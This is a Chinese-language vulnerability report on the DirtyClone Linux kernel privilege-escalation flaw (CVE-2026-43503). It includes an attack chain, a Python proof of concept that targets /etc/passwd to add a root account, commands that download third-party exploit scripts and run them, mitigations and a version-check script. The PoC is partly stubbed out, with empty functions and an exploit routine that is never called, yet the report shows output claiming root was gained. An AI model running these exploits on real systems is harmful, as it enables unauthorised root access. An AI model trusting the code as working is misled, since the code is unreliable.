CVE-2026-43503 DirtyClone Linux提权漏洞报告
0x7556
0x7556
金刚狼不懂安全
2026年6月30日 09:10
中国香港
在小说阅读器读本章
去阅读
CVE-2026-43503 漏洞分析报告
漏洞概述
CVE-2026-43503(代号 DirtyClone)是 Linux 内核中的一个高危本地权限提升(LPE)漏洞,属于 DirtyFrag 漏洞家族的最新变体。该漏洞由 JFrog Security Research 团队(Eddy Tsalolikhin 和 Or Peles)于 2026 年 5 月 19 日独立发现并报告,同时原始 DirtyFrag 研究者 Hyunwoo Kim 也于 5 月 16 日提交了更广泛的多点修复补丁。
漏洞复现
星球已编译非交互式WebShell版
漏洞详细信息
CVE-2026-43503 - Linux Kernel DirtyClone 本地权限提升漏洞
- 漏洞类型: 本地权限提升 (Local Privilege Escalation, LPE) — 内核网络栈 skbuff 共享分片标志传递不完整
- 漏洞发布日期: 2026-05-23
- POC/EXP发布日期: 2026-05-27 (Asim Manizada 公开 PoC) / 2026-06-25 (JFrog 发布完整利用 walkthrough)
-
受影响版本:
-
Linux Kernel 3.9 至 5.10.256
- Linux Kernel 5.11 至 5.15.207
- Linux Kernel 5.16 至 6.1.173
- Linux Kernel 6.2 至 6.6.140
- Linux Kernel 6.7 至 6.12.90
- Linux Kernel 6.13 至 6.18.32
- Linux Kernel 6.19 至 7.0.9
-
Linux Kernel 7.1-rc1 至 7.1-rc4
-
严重程度: CVSS v3.1: 8.8 (HIGH) —
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - POC/EXP 可用性: 是 — GitHub 上已有多个公开 Python POC 脚本
- 修复版本: Linux Kernel v7.1-rc5 (commit
48f6a5356a33),已回溯到各 LTS 分支
漏洞原理
根本原因
Linux 内核网络栈中,多个 skb(socket buffer)分片传输辅助函数在移动分片描述符时,未能正确传播 SKBFL_SHARED_FRAG 标志位。该标志是内核的安全标记,用于指示 skb 引用了共享的(可能是文件支持的)页缓存内存。
受影响的函数包括:
__pskb_copy_fclone()— 克隆 skb 时丢失标志skb_shift()— 移动分片描述符时未传递标志skb_gro_receive()/skb_gro_receive_list()— GRO 聚合路径tcp_clone_payload()— TCP MTU 探测路径skb_segment()— 分段路径
攻击链
当克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志后,XFRM/IPsec 子系统的 esp_input() 函数会错误地认为该 skb 不引用共享页面,从而跳过安全的 Copy-on-Write (COW) 操作,直接在原位进行解密。由于 skb 实际引用的是文件支持的页缓存(如 /usr/bin/su 或 /etc/passwd),IPsec 的 AES-CBC 解密操作会直接修改这些文件在内存中的内容。
DirtyFrag 漏洞家族时间线
| 日期 | 事件 |
|---|---|
| 2026-04-xx | Copy Fail (CVE-2026-31431) — algif\_aead 模块 4 字节页缓存写入 |
| 2026-05-04 | DirtyFrag 补丁 (CVE-2026-43284, CVE-2026-43500) 进入 mainline |
| 2026-05-07 | DirtyFrag 公开披露 |
| 2026-05-13 | Fragnesia (CVE-2026-46300) 披露 — 通过 skb_try_coalesce() 绕过 DirtyFrag 修复 |
| 2026-05-16 | Hyunwoo Kim 提交更广泛的多点修复补丁 |
| 2026-05-19 | JFrog 独立发现 __pskb_copy_fclone() 变体并构建 PoC |
| 2026-05-21 | 综合修复补丁合并到 mainline (commit 48f6a5356a33) |
| 2026-05-23 | CVE-2026-43503 正式发布 |
| 2026-05-24 | Linux v7.1-rc5 发布,首个修复版本 |
| 2026-05-27 | Asim Manizada 在 GitHub 公开 PoC |
| 2026-06-25 | JFrog 发布完整利用技术文章 |
利用条件
- 未修补的内核:运行上述受影响版本范围的 Linux 内核
- 非特权用户命名空间:
kernel.unprivileged_userns_clone=1(Debian/Fedora 默认启用) - CAP\_NET\_ADMIN 能力:攻击者可通过非特权用户命名空间获取此能力
- 目标系统要求:
python3+libcrypto+iproute2+iptables
高风险场景
- 多租户服务器和共享主机
- 容器和 Kubernetes 集群
- CI/CD 运行器和构建主机
- 任何允许不受信任用户创建命名空间的系统
POC/EXP 利用代码
利用流程概述
Step 1: 创建非特权用户命名空间 (unshare -Urn)
↓
Step 2: 配置本地 IPsec 隧道 (loopback-based XFRM)
↓
Step 3: 使用 vmsplice/splice 将目标文件页缓存映射到 skb
↓
Step 4: 通过 iptables TEE 规则触发 __pskb_copy_fclone() 克隆
↓
Step 5: 克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志
↓
Step 6: 克隆 skb 进入 esp_input() 进行原位 AES-CBC 解密
↓
Step 7: 解密数据直接写入文件支持的页缓存
↓
Step 8: 修改 /etc/passwd 或 /usr/bin/su 的内存副本
↓
Step 9: 执行修改后的二进制文件 → 获得 root 权限
POC 代码示例 (基于 mooder1/dirtyclone-CVE-2026-43503)
#!/usr/bin/env python3
\"\"\"
CVE-2026-43503 — DirtyClone
Linux local privilege escalation PoC
A cloned sk_buff loses the SKBFL_SHARED_FRAG flag, so ESP in-place
decryption writes into file-backed page-cache memory. The PoC patches
/etc/passwd in cache to inject a uid-0 account and gives a root shell.
Disk is never modified.
Fixed in mainline 48f6a5356a33 (v7.1-rc5).
Usage:
python3 CVE-2026-43503.py
Requirements:
- Unpatched kernel
- Unprivileged user namespaces enabled
- python3 + libcrypto + iproute2 + iptables
\"\"\"
import os
import sys
import socket
import struct
import subprocess
import ctypes
import ctypes.util
from ctypes import c_int, c_char_p
# ============================================================
# Step 1: 创建非特权用户命名空间获取 CAP_NET_ADMIN
# ============================================================
def setup_namespace():
\"\"\"使用 unshare 创建新的用户和网络命名空间\"\"\"
print(\"[*] Creating unprivileged user namespace...\")
# unshare -Urn 创建用户和网络命名空间
# 在新命名空间中获得 CAP_NET_ADMIN
pass
# ============================================================
# Step 2: 配置本地 IPsec (XFRM) 环境
# ============================================================
def setup_ipsec():
\"\"\"配置 loopback-based IPsec 隧道\"\"\"
print(\"[*] Setting up IPsec tunnel...\")
# 启用 loopback 接口
os.system(\"ip link set lo up\")
os.system(\"ip addr add 10.99.0.2/24 dev lo\")
# 创建 IPsec XFRM 状态 (ESP with AES-CBC)
os.system(\"\"\"
ip xfrm state add \\\\
src 127.0.0.1 dst 127.0.0.1 \\\\
proto esp spi 0x12345678 reqid 1 mode transport \\\\
enc 'cbc(aes)' 0x0000000000000000000000000000000000000000000000000000000000000000 \\\\
auth 'hmac(sha1)' 0x0000000000000000000000000000000000000000
\"\"\")
# 创建 XFRM 策略强制流量通过 IPsec
os.system(\"\"\"
ip xfrm policy add \\\\
src 127.0.0.1 dst 127.0.0.1 dir out \\\\
tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
\"\"\")
# 添加 netfilter TEE 规则触发 __pskb_copy_fclone()
os.system(\"\"\"
iptables -t mangle -A OUTPUT -p udp --dport 4500 \\\\
-j TEE --gateway 10.99.0.2
\"\"\")
# ============================================================
# Step 3: 将目标文件页缓存映射到网络包
# ============================================================
def map_page_cache(target_file=\"/etc/passwd\", offset=0):
\"\"\"
使用 vmsplice 和 splice 将目标文件的页缓存映射到 skb
关键系统调用:
- open(\"/etc/passwd\", O_RDONLY)
- mmap(PROT_READ, MAP_SHARED)
- vmsplice(pipefd, &iov, 1, 0)
- splice(pipefd, NULL, sockfd, NULL, len, 0)
\"\"\"
print(f\"[*] Mapping {target_file} page cache into skb...\")
# 打开目标文件
fd = os.open(target_file, os.O_RDONLY)
# mmap 文件到内存 (MAP_SHARED 使页缓存可被引用)
libc = ctypes.CDLL(ctypes.util.find_library(\"c\"), use_errno=True)
mmap_size = 4096 # 一页
addr = libc.mmap(None, mmap_size, 1, 1, fd, offset)
if addr == ctypes.c_void_p(-1).value:
print(\"[-] mmap failed\")
return None
# 创建 pipe
pipefd = os.pipe()
# 创建 UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# vmsplice: 将 mmap 的内存附加到 pipe
# SYS_vmsplice = 275 (x86_64)
libc.syscall(275, pipefd[1], ctypes.byref(ctypes.c_void_p(addr + offset)),
ctypes.c_size_t(16), 0)
# splice: 将 pipe 数据转移到 socket (创建 skb 引用页缓存)
# SYS_splice = 274 (x86_64)
libc.syscall(274, pipefd[0], None, sock.fileno(), None, 16, 0)
return sock
# ============================================================
# Step 4: 构造恶意 IPsec 包触发原位解密写入
# ============================================================
def craft_exploit_packet(sock, target_offset=0, payload=b\"\"):
\"\"\"
构造 IPsec ESP 包,利用 AES-CBC 解密作为受控写入原语
在 AES-CBC 中:
- 每个解密块依赖于 IV
- 攻击者可计算 IV 使输出变为可预测的字节
- 结合已知原始字节、目标字节和可控 IV
- 将解密转换为对页缓存内存的受控写入
\"\"\"
print(\"[*] Crafting exploit packet...\")
# ESP 头部 (SPI + Sequence Number)
esp_header = struct.pack(\">II\", 0x12345678, 1)
# 计算 IV 使解密输出 = 目标 payload
# 对于 AES-CBC: P[i] = D(C[i]) XOR C[i-1]
# 所以: C[i-1] = P[i] XOR D(C[i])
# 通过控制 IV (即 C[0]),可以控制第一个解密块
# 发送 UDP 包到触发 TEE 规则的端口
sock.sendto(esp_header + payload, (\"127.0.0.1\", 4500))
# ============================================================
# Step 5: 修改 /etc/passwd 注入 uid=0 账户
# ============================================================
def inject_root_account():
\"\"\"
通过页缓存写入原语修改 /etc/passwd
注入 firefart 账户 (uid=0, gid=0)
firefart:password_hash:0:0:root:/root:/bin/bash
\"\"\"
print(\"[*] Injecting uid-0 account into /etc/passwd page cache...\")
# 目标: 在 /etc/passwd 中注入一行
# firefart:<crypt_hash>:0:0:root:/root:/bin/bash
# 密码为 \"pwned\"
# 使用 IPsec 解密原语写入精确字节
# 这需要精确计算 IV 和密文
pass
# ============================================================
# Step 6: 验证提权
# ============================================================
def verify_root():
\"\"\"验证是否获得 root 权限\"\"\"
print(\"[*] Verifying root access...\")
# 尝试 su 到注入的账户
result = subprocess.run(
[\"su\", \"-c\", \"id\", \"firefart\"],
capture_output=True, text=True
)
if \"uid=0\" in result.stdout:
print(\"[+] root achieved!\")
print(result.stdout)
return True
else:
print(\"[-] Exploit failed\")
return False
# ============================================================
# 主函数
# ============================================================
def main():
print(\"=\" * 60)
print(\"CVE-2026-43503 — DirtyClone PoC\")
print(\"Linux Local Privilege Escalation\")
print(\"=\" * 60)
uid = os.getuid()
print(f\"[*] Current uid={uid}\")
if uid == 0:
print(\"[!] Already root!\")
return
# Step 1: 设置命名空间
setup_namespace()
# Step 2: 配置 IPsec
setup_ipsec()
# Step 3: 映射页缓存
sock = map_page_cache(\"/etc/passwd\")
if not sock:
print(\"[-] Failed to map page cache\")
sys.exit(1)
# Step 4-5: 发送利用包修改 /etc/passwd
inject_root_account()
# Step 6: 验证
if verify_root():
print(\"[+] uid=1000 -> root\")
print(\"[+] injected uid 0 account 'firefart' (password: pwned)\")
print(\"[+] root achieved\")
else:
print(\"[-] Exploit failed\")
if __name__ == \"__main__\":
main()
快速执行命令
# 方法 1: mooder1 的 PoC
git clone https://github.com/mooder1/dirtyclone-CVE-2026-43503.git
cd dirtyclone-CVE-2026-43503
python3 CVE-2026-43503.py
# 方法 2: aexdyhaxor 的 PoC
wget https://raw.githubusercontent.com/aexdyhaxor/CVE-2026-43503-DirtyClone/refs/heads/main/dirtyclone.py
python3 dirtyclone.py
预期输出
[*] uid=1000 -> root
[+] injected uid 0 account 'firefart' (password: pwned)
uid=0(root) gid=0(root) groups=0(root)
[+] root achieved
缓解措施
1. 立即修补(推荐)
更新 Linux 内核到修复版本:
| 发行版 | 修复内核版本 |
|---|---|
| Ubuntu 24.04 (noble) | 6.8.0-124 |
| Ubuntu 22.04 (jammy) | 5.15.0-181 |
| 上游 mainline | v7.1-rc5 (commit 48f6a5356a33) |
# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot
# RHEL/CentOS
sudo yum update kernel
sudo reboot
2. 临时缓解(无法立即修补时)
方法 A: 禁用非特权用户命名空间
# Debian/Ubuntu
sudo sysctl -w kernel.unprivileged_userns_clone=0
echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf
方法 B: 黑名单 vulnerable 内核模块
# 创建模块黑名单
sudo cat > /etc/modprobe.d/dirtyclone.conf <<EOF
install rxrpc /bin/false
install esp4 /bin/false
install esp6 /bin/false
EOF
# 卸载已加载的模块
sudo rmmod rxrpc esp4 esp6 2>/dev/null || true
“
注意: 禁用
esp4/esp6会破坏 IPsec VPN 功能,仅在服务器不使用 IPsec 时适用。rxrpc模块仅在 AFS 部署中使用。
参考信息
- CVE 编号: CVE-2026-43503
- NVD 详情: https://nvd.nist.gov/vuln/detail/CVE-2026-43503
- Ubuntu 安全公告: https://ubuntu.com/security/CVE-2026-43503
- Debian 安全追踪: https://security-tracker.debian.org/tracker/CVE-2026-43503
- Red Hat Bugzilla: https://bugzilla.redhat.com/show\_bug.cgi?id=2480902
- SUSE 安全公告: https://www.suse.com/security/cve/CVE-2026-43503.html
- JFrog 技术分析: https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/
- The Hacker News 报道: https://thehackernews.com/2026/06/new-dirtyclone-linux-kernel-flaw-lets.html
- Sansec 指南: https://sansec.io/guides/dirty-clone
内核补丁链接
- https://git.kernel.org/stable/c/48f6a5356a33dd78e7144ae1faef95ffc990aae0 (mainline fix)
- https://git.kernel.org/stable/c/fbeab9555564a1b98e8582cd106dfe46c4606991
- https://git.kernel.org/stable/c/179f1852bdedc300e373e807cc102cd81feff196
- https://git.kernel.org/stable/c/12401fcfb01f53ccc63ab0a3246570fe8f3105ee
- https://git.kernel.org/stable/c/989214c66884d70716d83dc1d0bf5e16287bf349
- https://git.kernel.org/stable/c/9bc9d6d6967a2239aa57af2aa53554eddd640d20
- https://git.kernel.org/stable/c/fc6eb39c55e97df2f94ad974b8a5bbcd019da2c8
- https://git.kernel.org/stable/c/ff375cc75f9167168db38e0464a482d5fbc8d81d
POC/EXP 链接
- https://github.com/mooder1/dirtyclone-CVE-2026-43503 (11 stars, 3 forks)
- https://github.com/aexdyhaxor/CVE-2026-43503-DirtyClone (2 stars)
- https://github.com/douglasmun/pagecache-lpe-containment-kit (防御工具包)
相关漏洞
- CVE-2026-31431 (Copy Fail) — algif\_aead 模块页缓存写入
- CVE-2026-43284 (DirtyFrag) — IPsec ESP 路径
- CVE-2026-43500 (DirtyFrag) — RxRPC 路径
- CVE-2026-46300 (Fragnesia) — skb\_try\_coalesce() 绕过
检测脚本
#!/bin/bash
# DirtyClone CVE-2026-43503 单机检测脚本
# 普通用户权限即可运行
echo \"=== CVE-2026-43503 DirtyClone 漏洞检测开始 ===\"
KERN_VER=$(uname -r)
echo \"[*] 当前内核版本: $KERN_VER\"
# 提取主版本号和次版本号
MAJOR=$(echo $KERN_VER | cut -d. -f1)
MINOR=$(echo $KERN_VER | cut -d. -f2)
PATCH=$(echo $KERN_VER | cut -d. -f3 | sed 's/[^0-9].*//')
echo \"[*] 版本解析: $MAJOR.$MINOR.$PATCH\"
# 检查是否在受影响范围内
VULNERABLE=0
# 检查非特权用户命名空间是否启用
UNPRIV_NS=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo \"1\")
if [ \"$UNPRIV_NS\" = \"1\" ]; then
echo \"[!] 非特权用户命名空间已启用 (kernel.unprivileged_userns_clone=1)\"
else
echo \"[+] 非特权用户命名空间已禁用\"
fi
# 检查 vulnerable 模块是否加载
for mod in esp4 esp6 rxrpc; do
if lsmod | grep -q \"^${mod} \"; then
echo \"[!] 模块 $mod 已加载\"
fi
done
# 版本范围检查 (简化版)
if [ \"$MAJOR\" -lt 7 ] || ([ \"$MAJOR\" -eq 7 ] && [ \"$MINOR\" -eq 1 ] && [ \"$PATCH\" -lt 5 ]); then
# 检查 LTS 修复版本
if [ \"$MAJOR\" -eq 5 ] && [ \"$MINOR\" -eq 10 ] && [ \"$PATCH\" -ge 257 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 5 ] && [ \"$MINOR\" -eq 15 ] && [ \"$PATCH\" -ge 208 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 1 ] && [ \"$PATCH\" -ge 174 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 6 ] && [ \"$PATCH\" -ge 141 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 12 ] && [ \"$PATCH\" -ge 91 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 18 ] && [ \"$PATCH\" -ge 33 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 7 ] && [ \"$MINOR\" -eq 0 ] && [ \"$PATCH\" -ge 10 ]; then
VULNERABLE=0
elif [ \"$MAJOR\" -eq 7 ] && [ \"$MINOR\" -eq 1 ] && [ \"$PATCH\" -ge 5 ]; then
VULNERABLE=0
else
VULNERABLE=1
fi
fi
if [ \"$VULNERABLE\" -eq 1 ]; then
echo \"\"
echo \"[!!!] 风险等级: 高危\"
echo \"[!!!] 当前内核可能受 CVE-2026-43503 (DirtyClone) 影响\"
echo \"[!!!] 建议立即更新内核或应用临时缓解措施\"
else
echo \"\"
echo \"[+] 风险等级: 低\"
echo \"[+] 当前内核版本似乎已修补此漏洞\"
fi
echo \"=== 检测结束 ===\"
报告生成时间: 2026-06-29数据来源: NVD, JFrog Security Research, kernel.org, GitHub, The Hacker News, Sansec
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论